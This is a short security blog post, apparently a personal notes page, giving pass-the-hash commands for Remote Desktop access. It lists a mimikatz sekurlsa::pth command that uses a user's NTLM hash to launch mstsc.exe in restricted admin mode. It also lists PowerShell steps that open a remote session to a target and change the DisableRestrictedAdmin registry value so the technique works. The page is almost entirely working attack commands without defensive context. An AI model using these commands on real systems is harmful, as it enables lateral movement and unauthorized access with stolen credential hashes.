pth mstsc.exe - r34l!ty - 不负勇往
MENU

pth mstsc.exe

May 7, 2018 • Security

Windows 8.1 / 2012 R2:

mimikatz

sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"

Restricted Admin Mode disabled:

Registry Key

mimikatz.exe "sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:powershell.exe"

PowerShell

Enter-PSSession -Computer <Target>
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force
Archives QR Code
QR Code for this page
Tipping QR Code